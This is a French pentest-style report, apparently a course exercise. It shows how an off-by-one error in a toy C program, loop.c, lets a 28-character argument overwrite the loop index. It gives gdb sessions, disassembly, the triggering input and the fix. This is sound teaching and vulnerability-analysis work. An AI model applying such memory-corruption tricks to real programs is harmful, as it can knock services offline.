Pentest Vulnerability Report

# Titre de la vulnérabilité

Infinite loop by buffer overflow with off-by-one error

# Description de la vulnérabilité

Nous allons exploiter une off-by-one error pour causer un buffer overflow et forcer une boucle infinie.

# Éléments affectés

Fichier *loop.c* de l’exercice 4 de la séance 1.

# Préalables

Le code source du programme *loop.c* est donné.

# Mise en place

Ce proof of concept est conçu sur une machine virtuelle Kali Linux 64 bits.

Nous compilons le programme avec la commande :

* gcc -g -o loop loop.c

# Proof of concept

Nous pouvons trouver la présence d’une off-by-one error dans le code source du programme. Une boucle for est utilisée pour copier l’argument du programme dans un buffer de taille 28. Seulement, la boucle for est exécutée avec un indice qui va de 0 à 28 inclus. Le programme écrit donc un caractère supplémentaire au-delà du buffer.

Nous commençons par rechercher ce qui se trouve en mémoire juste après le buffer.

Nous lançons le programme *loop* dans gdb, et nous faisons une première exécution avec un argument quelconque afin que gdb puisse initialiser ses adresses.

┌──(sebstreb㉿kali-cli)-[~/cyber/cours1]

└─$ gdb loop

GNU gdb (Debian 13.2-1) 13.2

Copyright (C) 2023 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86\_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from loop...

(gdb) run test

Starting program: /home/sebstreb/cyber/cours1/loop test

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

[Inferior 1 (process 1114) exited normally]

Nous mettons ensuite un breakpoint au début de la fonction *func*, et nous exécutons de nouveau le programme avec un argument quelconque pour se retrouver dans l’exécution du programme au niveau de ce breakpoint. Nous utilisons alors *info locals* pour retrouver le nom des variables de la fonction. Nous utilisons ensuite la fonction *print* pour afficher l’adresse de ces différentes variables.

(gdb) b func

Breakpoint 1 at 0x555555555131: file loop.c, line 6.

(gdb) run test

Starting program: /home/sebstreb/cyber/cours1/loop test

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, func (str=0x7fffffffe4f5 "test") at loop.c:6

6 for (i=0;i<=28;i++) {

(gdb) info locals

i = 0

buf = '\000' <repeats 27 times>

(gdb) p &buf

$1 = (char (\*)[28]) 0x7fffffffe0a0

(gdb) p &i

$2 = (int \*) 0x7fffffffe0bc

Nous pouvons observer que le buffer se trouve à l’adresse e0a0, tandis que l’indice de la boucle se trouve à l’adresse e0bc : 28 octets plus loin dans la mémoire. Le buffer étant initialisé avec une taille de 28, nous comprenons que l’indice de la boucle se trouve juste après le buffer dans la mémoire. Lorsque la boucle recopie le 29ème caractère dans le buffer, c’est le premier octet de l’indice de la boucle qui se verra modifié.

Dans le but de provoquer une boucle infinie, il est nécessaire que le 29ème caractère corresponde à une valeur hexadécimale inférieure à 28, par exemple \0 le caractère nul. De cette façon, l’indice de la boucle passe de la valeur 28 ou 0x1c en hexadécimal à la valeur 0. Suite à ça, la condition de fin de la boucle, i<=28, n’est pas remplie et le programme recommence à écrire l’argument dans le buffer. Jusqu’à ce que le programme modifie de nouveau l’indice de la boucle et recommence encore.

Pour confirmer cela, nous relançons le programme avec un argument d’exactement 28 caractères. Le string d’entrée aura alors automatiquement un caractère nul comme 29ème caractère. Nous observons ensuite le code assembleur de la fonction, et nous plaçons un breakpoint à l’instruction vérifiant la fin de la boucle for, à la comparaison entre la variable i et la valeur 0x1c.

(gdb) run $(python2 -c "print 'A'\*28")

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/sebstreb/cyber/cours1/loop $(python2 -c "print 'A'\*28")

[Thread debugging using libthread\_db enabled]

Using host libthread\_db library "/lib/x86\_64-linux-gnu/libthread\_db.so.1".

Breakpoint 1, func (str=0x7fffffffe4dd 'A' <repeats 28 times>) at loop.c:6

6 for (i=0;i<=28;i++) {

(gdb) disass func

Dump of assembler code for function func:

0x0000555555555129 <+0>: push %rbp

0x000055555555512a <+1>: mov %rsp,%rbp

0x000055555555512d <+4>: mov %rdi,-0x28(%rbp)

=> 0x0000555555555131 <+8>: movl $0x0,-0x4(%rbp)

0x0000555555555138 <+15>: jmp 0x555555555157 <func+46>

0x000055555555513a <+17>: mov -0x4(%rbp),%eax

0x000055555555513d <+20>: movslq %eax,%rdx

0x0000555555555140 <+23>: mov -0x28(%rbp),%rax

0x0000555555555144 <+27>: add %rdx,%rax

0x0000555555555147 <+30>: movzbl (%rax),%edx

0x000055555555514a <+33>: mov -0x4(%rbp),%eax

0x000055555555514d <+36>: cltq

0x000055555555514f <+38>: mov %dl,-0x20(%rbp,%rax,1)

0x0000555555555153 <+42>: addl $0x1,-0x4(%rbp)

0x0000555555555157 <+46>: cmpl $0x1c,-0x4(%rbp)

0x000055555555515b <+50>: jle 0x55555555513a <func+17>

0x000055555555515d <+52>: nop

0x000055555555515e <+53>: nop

0x000055555555515f <+54>: pop %rbp

0x0000555555555160 <+55>: ret

End of assembler dump.

(gdb) b \*0x0000555555555157

Breakpoint 2 at 0x555555555157: file loop.c, line 6.

Nous pouvons maintenant continuer l’exécution du programme, et observer le comportement attendu. À chaque breakpoint et étape de la boucle, nous affichons la valeur des variables i et buf, ainsi que le contenu de la mémoire via la fonction x.

(gdb) c

Continuing.

Breakpoint 2, 0x0000555555555157 in func (str=0x7fffffffe4dd 'A' <repeats 28 times>) at loop.c:6

6 for (i=0;i<=28;i++) {

(gdb) p i

$12 = 27

(gdb) p buf

$13 = 'A' <repeats 27 times>

(gdb) x/8xw buf

0x7fffffffe080: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffe090: 0x41414141 0x41414141 0x00414141 0x0000001b

(gdb) c

Continuing.

Breakpoint 2, 0x0000555555555157 in func (str=0x7fffffffe4dd 'A' <repeats 28 times>) at loop.c:6

6 for (i=0;i<=28;i++) {

(gdb) p i

$14 = 28

(gdb) p buf

$15 = 'A' <repeats 28 times>

(gdb) x/8xw buf

0x7fffffffe080: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffe090: 0x41414141 0x41414141 0x41414141 0x0000001c

(gdb) c

Continuing.

Breakpoint 2, 0x0000555555555157 in func (str=0x7fffffffe4dd 'A' <repeats 28 times>) at loop.c:6

6 for (i=0;i<=28;i++) {

(gdb) p i

$16 = 1

(gdb) p buf

$17 = 'A' <repeats 28 times>

(gdb) x/8xw buf

0x7fffffffe080: 0x41414141 0x41414141 0x41414141 0x41414141

0x7fffffffe090: 0x41414141 0x41414141 0x41414141 0x00000001

Nous pouvons observer que comme attendu, lors de la 29ème exécution de la boucle (i=28, buffer entièrement rempli), le premier octet de la variable i est réécrit et passe à la valeur 0. Ensuite, le test de fin de boucle n’est pas valide et la boucle continue. La variable i est incrémentée, et le code recommence à écrire dans le buffer.

Nous pouvons maintenant re-tester ce comportement en dehors de gdb et observer une boucle infinie.

(gdb) exit

A debugging session is active.

Inferior 1 [process 1181] will be killed.

Quit anyway? (y or n) y

┌──(sebstreb㉿kali-cli)-[~/cyber/cours1]

└─$ ./loop AAAAAAAAAAAAAAAAAAAAAAAAAAAA

...

# Impact

Avec cette vulnérabilité, un utilisateur du programme *loop* pourrait l’empêcher de se quitter. Il prendrait de cette façon des ressources importantes sur la machine exécutant le programme, et pourrait éventuellement la rendre inaccessible.

# Mitigation

Pour éviter ce problème, il est nécessaire de corriger la off-by-one error et de remplacer la conditionnelle de fin de boucle par i<28 au lieu de i<=28 comme actuellement.